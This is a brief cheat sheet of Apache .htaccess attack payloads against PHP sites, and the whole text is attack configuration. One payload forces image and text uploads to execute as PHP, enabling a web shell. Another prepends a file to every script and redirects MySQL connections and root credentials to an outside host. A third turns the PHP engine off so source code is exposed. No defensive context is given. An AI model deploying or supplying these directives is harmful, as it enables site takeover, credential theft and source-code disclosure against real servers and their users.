.htaccess Attack Sample for PHP

Upload:

AddType application/x-httpd-php .php .php3 .php4 .htm .html .txt .jpg .cgi

Query sniffing:

php_value auto_prepend_file aa.php
php_value mysql.default_host  1.1.1.1
php_value mysql.default_user  root
php_value mysql.default_password  root

Engine Off:

php_value engine off